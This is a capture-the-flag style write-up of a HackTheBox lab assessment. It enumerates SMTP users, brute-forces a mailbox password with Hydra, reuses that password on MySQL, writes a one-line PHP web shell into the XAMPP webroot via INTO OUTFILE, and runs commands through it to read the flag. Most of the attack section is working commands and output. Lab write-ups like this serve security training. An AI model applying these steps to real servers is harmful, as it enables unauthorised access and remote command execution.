Explore HackDev

$ writeup

piwww
Nov 29, 2026

Skill Assessment - Attacking Common Service - Easy

#htb#mysql#webshell#bruteforce#skillassessment#smtp

What We Know

image

  • We know the first server manages the email and their files. Its might be smtp or maybe a SQL.

Recon

  • We start by Nmap the ip address see what we got
nmap -sC -sV 10.129.203.7

# Output Example
25/tcp   open  smtp          hMailServer smtpd
| smtp-commands: WIN-EASY, SIZE 20480000, AUTH LOGIN PLAIN, HELP
|_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY
80/tcp   open  http          Apache httpd 2.4.53 ((Win64) OpenSSL/1.1.1n PHP/7.4.29)
| http-title: Welcome to XAMPP
|_Requested resource was http://10.129.203.7/dashboard/
|_http-server-header: Apache/2.4.53 (Win64) OpenSSL/1.1.1n PHP/7.4.29
  • The actual output is wayyy much longer. But we only need this.
  • We know smtp is open and http also open.
  • We can see they use XAMPP.

SMTP User Enumeration

  • For now let see if we can find a credential for the smtp
  • Refer here [[smtp-user-enum]]
# We use mode RCPT because we saw it appear during recon
# The domain name we can get it through the first question
smtp-user-enum -M RCPT -U usernames.txt -t 10.129.203.7 -D inlanefreight.htb

# Exmple Outfit
######## Scan started at Sun Nov 29 11:39:40 2026 #########
10.129.203.7: fiona@inlanefreight.htb exists
######## Scan completed at Sun Nov 29 11:40:06 2026 #########
1 results.
  • Make sure you Download the resources available.
######## Scan started at Sun Nov 29 11:39:40 2026 #########
10.129.203.7: fiona@inlanefreight.htb exists
######## Scan completed at Sun Nov 29 11:40:06 2026 #########
1 results.
  • We discover a credential fiona with its.

Brute-Forcing the credential

  • From here we can bruteforce it with Hydra
hydra -l fiona@inlanefreight.htb -P /usr/share/wordlists/rockyou.txt smtp://10.129.203.7

# Example Output
[DATA] attacking smtp://10.129.203.7:25/
[25][smtp] host: 10.129.203.7   login: fiona@inlanefreight.htb   password: 987654321

Connecting to MySQL

  • Now we discover the password, we can try to connect to mysql
mysql -u fiona -p'987654321' -h 10.129.203.7 --ssl=0

# Once connected we can try to see if ira supported or not..........
# The empty value shows it doesnt have restriction

+------------------+-------+
| Variable_name    | Value |
+------------------+-------+
| secure_file_priv |       |
+------------------+-------+

Uploading the webshell

  • Now we will upload a webshell.
MariaDB [(none)]> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE 'C:\\xampp\\htdocs\\shell.php';

# Once done we can see if its available or not with 
select LOAD_FILE("C:\\xampp\\htdocs\\shell.php");
  • How do i know where to put the file as in C:\xampp\htdocs.
  • Based on our recon we discover that it use xampp. And if you google xampp default directories, it was C:\xampp\htdocs

Triggering the webshell

  • Once we confirm the its exist we can trigger the webshell by visiting the page
  • http://10.129.203.7/shell.php?c=whoami
  • If the webpage tell us who we are. Then we inside already

Locating the file

  • Since we dont know where the flag.txt file are we can try search it using where
  • http://10.129.203.7/shell.php?c=where%20/r%20C:\%20flag.txt
  • It will show the flag location then we can just use type to see its content
  • http://10.129.203.7/shell.php?c=type%20C:\Users\Administrator\Desktop\flag.txt